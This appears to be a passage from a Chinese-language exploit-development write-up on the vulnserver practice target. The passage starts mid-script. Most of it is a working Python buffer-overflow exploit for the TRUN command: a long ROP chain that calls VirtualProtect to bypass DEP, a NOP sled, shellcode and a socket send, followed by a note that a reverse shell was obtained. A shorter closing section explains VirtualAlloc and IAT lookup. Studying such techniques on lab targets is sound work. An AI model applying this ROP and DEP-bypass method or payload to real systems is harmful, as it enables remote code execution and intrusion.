func += struct.pack("<L",0x62502610) # dummy lpflOldProtect

eip = struct.pack("<L",0x62501022) # retn essfunc.dll
rop1 = struct.pack("<L", 0x7760296e) # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75cd245f) # MOV EDX,ESI # POP ESI # RETN 0x04 ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk

rop1 += struct.pack("<L",0x76c85164) # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x6250609C) #IAT 6250609C VirtualProtect KERNEL32
rop1 += struct.pack("<L",0x76507518) # XCHG EAX,DWORD PTR [ECX] # RETN ** [RPCRT4.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775b2fac) # MOV EAX,EDX # RETN ** [KERNEL32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c7e8ff) # MOV EAX,ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk


rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea2450) # POP EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0xffffffff) # -1
rop1 += struct.pack("<L",0x775e236e) # NEG EAX # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764ee61e) # POP EAX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x80808080) # first value to be added
rop1 += struct.pack("<L",0x776cd7a1) # MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76cd32e4) # POP EDX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x7f7f7fc0) # second value to be added
rop1 += struct.pack("<L",0x75c8df55) # ADD EAX,EDX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x764ee61e) # POP EAX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x80808080) # first value to be added
# rop1 += struct.pack("<L",0x776cd7a1) # MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x76cd32e4) # POP EDX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x7f7f8f80) # second value to be added
# rop1 += struct.pack("<L",0x75c8df55) # ADD EAX,EDX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


rop1 += struct.pack("<L",0x76535eb8) # MOV EAX,EBX # POP EBX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775a0c40) # XCHG EAX,ESP # RETN ** [KERNEL32.DLL] ** | ascii {PAGE_EXECUTE_READ}


padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*128+
shellcode+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

成功反弹shell

DEP

上面使用的是VirtualProtect绕过DEP,如果是VirtualAlloc的话,最终略有不同。因为essfunc.dll的导入表里面没有VirutalAlloc,这里仅做一些解释。看一下VirtualAlloc函数的原型:

1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

利用脚本里面,VirtualAlloc的模版如下:

1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
1
2
3
4
5
6
func  = pack("<L", (0x45454545)) # dummy VirutalAlloc Address
func += pack("<L", (0x46464646)) # Shellcode Return Address
func += pack("<L", (0x47474747)) # dummy Shellcode Address
func += pack("<L", (0x48484848)) # dummy dwSize
func += pack("<L", (0x49494949)) # dummy flAllocationType
func += pack("<L", (0x51515151)) # dummy flProtect

windbg中看一下vulnserver加载的DLL有哪些:

DEP

RPCRT4.DLL的导入表中,可以找到VirtualAlloc函数:

DEP

可以看到VirtualAlloc函数在导入表的地址为4F0340D0。需要注意的地方:api-ms-win-core-memory-l1-1-0.DLL库在程序运行的时候并没有加载,如果使用这个值,会出现类似如下这样的问题:

DEP

我的理解:查找VirtualAlloc或者VirutalProtect函数在IAT中的地址时,需要注意关联的DLL,如果该DLL在程序运行时加载了,那可以使用通过IAT中函数地址找到该函数,如果DLL在程序运行时没有加载,那么通过IAT中函数地址无法找到该函数运行时地址。

参考:

1.https://www.nirsoft.net/articles/windows_7_kernel_architecture_changes.html